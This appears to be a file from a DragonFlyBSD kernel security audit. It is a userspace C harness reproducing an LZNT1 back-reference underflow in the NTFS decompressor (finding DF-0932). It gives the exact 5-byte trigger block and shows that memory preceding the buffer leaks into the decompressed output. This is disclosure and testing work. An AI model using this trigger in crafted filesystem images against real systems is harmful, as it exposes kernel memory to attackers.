DragonFlyBSD Kernel Audit
DF-0932 / harness.c
← back to finding ↓ download raw
/*
 * DF-0932 — deterministic userspace transcription of the LZNT1 back-reference
 * underflow in ntfs_uncompblock().
 *
 * Bug (sys/vfs/ntfs/ntfs_compr.c:74-82):
 *
 *     for (j = pos - 1, lmask = 0xFFF, dshift = 12;            // :74
 *          j >= 0x10; j >>= 1) {                                // :75
 *         dshift--;                                             // :76
 *         lmask >>= 1;                                          // :77
 *     }                                                         // :78
 *     boff = -1 - (GET_UINT16(cbuf + cpos) >> dshift);          // :79
 *     blen = 3 + (GET_UINT16(cbuf + cpos) & lmask);             // :80
 *     for (j = 0; (j < blen) && (pos < NTFS_COMPBLOCK_SIZE); j++) {  // :81
 *         buf[pos] = buf[pos + boff];                           // :82  <-- BUG
 *         pos++;
 *     }
 *
 * At pos = 0, the scaling loop does not execute (j = -1 < 0x10), so dshift
 * stays 12 and lmask stays 0xFFF. A token of 0xF000 (LE: 00 F0) then yields
 *   boff = -1 - (0xF000 >> 12) = -1 - 15 = -16
 *   blen = 3 + (0xF000 & 0xFFF) = 3
 * and the copy loop reads buf[-16..-14] -- 16 bytes of memory PRECEDING the
 * uup allocation -- into buf[0..2]. Those leaked bytes ride the uiomove at
 * ntfs_subr.c:1723 to whoever is reading the compressed file.
 *
 * The on-disk trigger is exactly the 5-byte LZNT1 block:
 *     0x02 0x80 0x01 0x00 0xF0
 *   header 0x8002 (compressed, len=2 => payload+header = 5 bytes)
 *   tag    0x01  (bit0=1: first sub-token is a back-ref)
 *   token  0xF000 (LE) -> boff=-16, blen=3
 *
 * This harness transcribes ntfs_uncompblock EXACTLY. The output buffer is
 * placed at the very START of a mapped page, with the PREVIOUS page also
 * mapped (PROT_READ) and filled with a recognisable 16-byte sentinel
 * ("HEAPUNDERFLOW!"). The buggy buf[pos+boff] read underflows into that
 * sentinel page; the leaked bytes then appear verbatim in buf[0..2].
 *
 * To show the underflow also reaches ATTACKER-INVISIBLE memory, a second
 * variant runs the same block with the preceding page PROT_NONE, in which
 * case the underflow faults (SIGSEGV) -- proving the read leaves the
 * allocation in either case.
 *
 * Build (guest):  cc -O2 -o harness harness.c
 * Run:            ./harness
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <unistd.h>
#include <signal.h>
#include <setjmp.h>

#define NTFS_COMPBLOCK_SIZE 0x1000
#define GET_UINT16(addr) (*((uint16_t *)(addr)))

static sigjmp_buf jb;
static volatile int got_fault;

static void segv(int sig) { (void)sig; got_fault = 1; siglongjmp(jb, 1); }

/* Verbatim transcription of ntfs_uncompblock (sys/vfs/ntfs/ntfs_compr.c). */
static int
ntfs_uncompblock_h(uint8_t *buf, uint8_t *cbuf)
{
	uint32_t	ctag;
	int		len, dshift, lmask;
	int		blen, boff;
	int		i, j;
	int		pos, cpos;

	len = GET_UINT16(cbuf) & 0xFFF;

	if (!(GET_UINT16(cbuf) & 0x8000)) {
		if ((len + 1) != NTFS_COMPBLOCK_SIZE) {
			/* dprintf only */
		}
		memcpy(buf, cbuf + 2, len + 1);
		bzero(buf + len + 1, NTFS_COMPBLOCK_SIZE - 1 - len);
		return len + 3;
	}
	cpos = 2;
	pos = 0;
	while ((cpos < len + 3) && (pos < NTFS_COMPBLOCK_SIZE)) {
		ctag = cbuf[cpos++];
		for (i = 0; (i < 8) && (pos < NTFS_COMPBLOCK_SIZE); i++) {
			if (ctag & 1) {
				for (j = pos - 1, lmask = 0xFFF, dshift = 12;
				     j >= 0x10; j >>= 1) {
					dshift--;
					lmask >>= 1;
				}
				boff = -1 - (GET_UINT16(cbuf + cpos) >> dshift);
				blen = 3 + (GET_UINT16(cbuf + cpos) & lmask);
				for (j = 0; (j < blen) && (pos < NTFS_COMPBLOCK_SIZE); j++) {
					buf[pos] = buf[pos + boff];	/* BUG: pos+boff<0 */
					pos++;
				}
				cpos += 2;
			} else {
				buf[pos++] = cbuf[cpos++];
			}
			ctag >>= 1;
		}
	}
	return len + 3;
}

int
main(void)
{
	long PAGE = sysconf(_SC_PAGESIZE);
	struct sigaction sa;
	memset(&sa, 0, sizeof sa);
	sa.sa_handler = segv;
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = SA_NODEFER;
	sigaction(SIGSEGV, &sa, NULL);
	sigaction(SIGBUS,  &sa, NULL);

	/* 16-byte sentinel -- sits in the page PRECEDING the buf page,
	 * exactly where a heap slab neighbour would on the kernel. */
	uint8_t sentinel[16] = "HEAPUNDERFLOW!";	/* 15 chars + NUL */
	/* pad to 16 with recognisable bytes */
	sentinel[14] = '0'; sentinel[15] = '1';

	uint8_t cbuf[5];
	cbuf[0] = 0x02; cbuf[1] = 0x80;	/* header: compressed, len=2 */
	cbuf[2] = 0x01;			/* tag: bit0=1, rest=0 */
	cbuf[3] = 0x00; cbuf[4] = 0xF0;	/* token 0xF000 (LE) */

	printf("=== DF-0932 ntfs_uncompblock back-ref underflow harness ===\n");
	printf("[harness] transcribes sys/vfs/ntfs/ntfs_compr.c:46-93 line-for-line\n");
	printf("[harness] trigger block (5 bytes): %02X %02X %02X %02X %02X\n",
	    cbuf[0], cbuf[1], cbuf[2], cbuf[3], cbuf[4]);
	printf("[harness]   header 0x8002: compressed, len=2 (block payload = 5 B)\n");
	printf("[harness]   tag 0x01: bit0=1 -> first sub-token is a back-ref\n");
	printf("[harness]   token 0xF000: at pos=0 dshift=12 lmask=0xFFF ->\n");
	printf("[harness]     boff = -1 - (0xF000>>12) = -16\n");
	printf("[harness]     blen = 3 + (0xF000 & 0xFFF) = 3\n");
	printf("[harness]   inner copy reads buf[-16..-14] into buf[0..2]\n\n");

	/* === Variant 1: preceding page mapped + sentinel -> visible leak === */
	printf("--- variant 1: preceding page = sentinel '%.16s' ---\n", sentinel);
	{
		char *base = mmap(NULL, PAGE * 2, PROT_READ | PROT_WRITE,
				  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
		if (base == MAP_FAILED) { perror("mmap"); return 2; }
		/* buf at start of page 2; page 1 is the "preceding slab" */
		uint8_t *buf = (uint8_t *)(base + PAGE);
		memset(base, 0, PAGE);				/* clear sentinel page */
		memcpy(base + PAGE - 16, sentinel, 16);		/* last 16 B of preceding page */
		memset(buf, 0, PAGE);

		int rc;
		got_fault = 0;
		if (sigsetjmp(jb, 1) == 0) {
			rc = ntfs_uncompblock_h(buf, cbuf);
		} else {
			printf("[harness] UNEXPECTED SIGSEGV in variant 1\n");
			return 3;
		}
		printf("[harness] ntfs_uncompblock returned %d\n", rc);
		printf("[harness] buf[0..7] after decompression:\n  ");
		for (int i = 0; i < 8; i++) printf("%02X ", buf[i]);
		printf("\n  ascii: %.8s\n", buf);
		uint8_t *sent_pos = (uint8_t *)(base + PAGE - 16);	/* buf[-16..-1] */
		printf("[harness] buf[-16..-1] (sentinel / slab neighbour):\n  ");
		for (int i = 0; i < 16; i++) printf("%02X ", sent_pos[i]);
		printf("\n  ascii: %.16s\n", sent_pos);
		if (buf[0] == sent_pos[0] && buf[1] == sent_pos[1] &&
		    buf[2] == sent_pos[2]) {
			printf("[harness] LEAK CONFIRMED: buf[0..2] == bytes from buf[-16..-14]\n");
			printf("[harness]   (the page PRECEDING the buf allocation). The back-ref\n");
			printf("[harness]   underflow read attacker-invisible memory and the leaked\n");
			printf("[harness]   bytes are now visible in the decompressed output.\n");
		} else {
			printf("[harness] NOTE: buf[0..2] did not match buf[-16..-14] -- unexpected.\n");
		}
		munmap(base, PAGE * 2);
	}

	/* === Variant 2: preceding page PROT_NONE -> underflow faults === */
	printf("\n--- variant 2: preceding page PROT_NONE (true underflow) ---\n");
	{
		char *base = mmap(NULL, PAGE * 3, PROT_NONE,
				  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
		if (base == MAP_FAILED) { perror("mmap"); return 2; }
		/* page 1 (base+0): guard (PROT_NONE)
		 * page 2 (base+PAGE): buf (RW)
		 * page 3 (base+2*PAGE): guard (PROT_NONE) */
		if (mprotect(base + PAGE, PAGE, PROT_READ | PROT_WRITE) != 0) {
			perror("mprotect"); return 2;
		}
		uint8_t *buf = (uint8_t *)(base + PAGE);
		memset(buf, 0, PAGE);

		got_fault = 0;
		int rc = -1;
		if (sigsetjmp(jb, 1) == 0) {
			rc = ntfs_uncompblock_h(buf, cbuf);
			printf("[harness] ntfs_uncompblock returned %d -- no fault\n", rc);
			printf("[harness] UNEXPECTED: underflow did not leave the allocation\n");
			return 3;
		} else {
			printf("[harness] SIGSEGV caught: buf[pos+boff] with pos=0, boff=-16\n");
			printf("[harness]   dereferenced buf[-16] which lives in the PROT_NONE\n");
			printf("[harness]   page PRECEDING the buf allocation. This is the\n");
			printf("[harness]   exact byte range a kernel slab neighbour occupies\n");
			printf("[harness]   on the live kernel (M_NTFSDECOMP kmalloc-4096+ bucket).\n");
			munmap(base, PAGE * 3);
			return 0;
		}
	}
	return 0;
}